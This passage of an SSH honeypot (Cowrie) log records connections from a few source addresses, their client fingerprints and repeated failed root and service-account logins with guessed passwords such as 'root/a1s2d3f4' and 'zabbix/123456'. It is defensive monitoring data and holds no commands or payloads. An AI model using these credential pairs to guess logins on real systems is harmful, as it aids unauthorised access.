com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:34.437805Z","src_ip":"103.75.199.4","session":"18dd5f96236b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:34.709506Z","src_ip":"103.75.199.4","session":"18dd5f96236b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:35.804252Z","src_ip":"103.75.199.4","session":"18dd5f96236b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47530,"dst_ip":"159.203.135.109","dst_port":22,"session":"77e6ac743b3c","protocol":"ssh","message":"New connection: 45.153.34.114:47530 (159.203.135.109:22) [session: 77e6ac743b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:38.503077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:38.521622Z","src_ip":"45.153.34.114","session":"77e6ac743b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:38.611634Z","src_ip":"45.153.34.114","session":"77e6ac743b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:38.884470Z","src_ip":"45.153.34.114","session":"77e6ac743b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:39.971473Z","src_ip":"45.153.34.114","session":"77e6ac743b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48746,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7b7266f497c","protocol":"ssh","message":"New connection: 45.153.34.114:48746 (159.203.135.109:22) [session: c7b7266f497c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:46.434581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:46.557590Z","src_ip":"45.153.34.114","session":"c7b7266f497c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:46.561960Z","src_ip":"45.153.34.114","session":"c7b7266f497c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:46.983009Z","src_ip":"45.153.34.114","session":"c7b7266f497c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:48.074025Z","src_ip":"45.153.34.114","session":"c7b7266f497c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43594,"dst_ip":"159.203.135.109","dst_port":22,"session":"39fd031f2832","protocol":"ssh","message":"New connection: 45.153.34.114:43594 (159.203.135.109:22) [session: 39fd031f2832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:54.918383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:54.923601Z","src_ip":"45.153.34.114","session":"39fd031f2832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:55.006790Z","src_ip":"45.153.34.114","session":"39fd031f2832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:55.268125Z","src_ip":"45.153.34.114","session":"39fd031f2832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58426,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a893617686f","protocol":"ssh","message":"New connection: 103.75.199.4:58426 (159.203.135.109:22) [session: 7a893617686f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:56.142405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:56.146990Z","src_ip":"103.75.199.4","session":"7a893617686f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:56.242512Z","src_ip":"103.75.199.4","session":"7a893617686f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:56.353054Z","src_ip":"45.153.34.114","session":"39fd031f2832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:56.534944Z","src_ip":"103.75.199.4","session":"7a893617686f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:21:57.633199Z","src_ip":"103.75.199.4","session":"7a893617686f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42156,"dst_ip":"159.203.135.109","dst_port":22,"session":"9114048286a1","protocol":"ssh","message":"New connection: 45.153.34.114:42156 (159.203.135.109:22) [session: 9114048286a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:03.220010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:03.224914Z","src_ip":"45.153.34.114","session":"9114048286a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:03.322196Z","src_ip":"45.153.34.114","session":"9114048286a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:03.586973Z","src_ip":"45.153.34.114","session":"9114048286a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":37426,"dst_ip":"159.203.135.109","dst_port":22,"session":"68aa69466408","protocol":"ssh","message":"New connection: 20.203.42.204:37426 (159.203.135.109:22) [session: 68aa69466408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:04.372680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:04.377251Z","src_ip":"20.203.42.204","session":"68aa69466408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:04.548123Z","src_ip":"20.203.42.204","session":"68aa69466408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:04.689153Z","src_ip":"45.153.34.114","session":"9114048286a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sonos123","message":"login attempt [root/sonos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:05.355983Z","src_ip":"20.203.42.204","session":"68aa69466408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:06.530637Z","src_ip":"20.203.42.204","session":"68aa69466408","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ad8a9ca026","protocol":"ssh","message":"New connection: 45.153.34.114:38336 (159.203.135.109:22) [session: a3ad8a9ca026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:11.239879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:11.245095Z","src_ip":"45.153.34.114","session":"a3ad8a9ca026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:11.358449Z","src_ip":"45.153.34.114","session":"a3ad8a9ca026","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:11.627032Z","src_ip":"45.153.34.114","session":"a3ad8a9ca026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:12.720283Z","src_ip":"45.153.34.114","session":"a3ad8a9ca026","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42364,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0fdcb63ca6d","protocol":"ssh","message":"New connection: 103.75.199.4:42364 (159.203.135.109:22) [session: d0fdcb63ca6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:17.968391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:17.973199Z","src_ip":"103.75.199.4","session":"d0fdcb63ca6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:18.066923Z","src_ip":"103.75.199.4","session":"d0fdcb63ca6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"super","password":"super","message":"login attempt [super/super] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:18.339930Z","src_ip":"103.75.199.4","session":"d0fdcb63ca6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38352,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c5f4bef612","protocol":"ssh","message":"New connection: 45.153.34.114:38352 (159.203.135.109:22) [session: 37c5f4bef612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.257475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:22:19.262195Z","src_ip":"45.153.34.114","session":"37c5f4bef612","protocol":"ssh"}
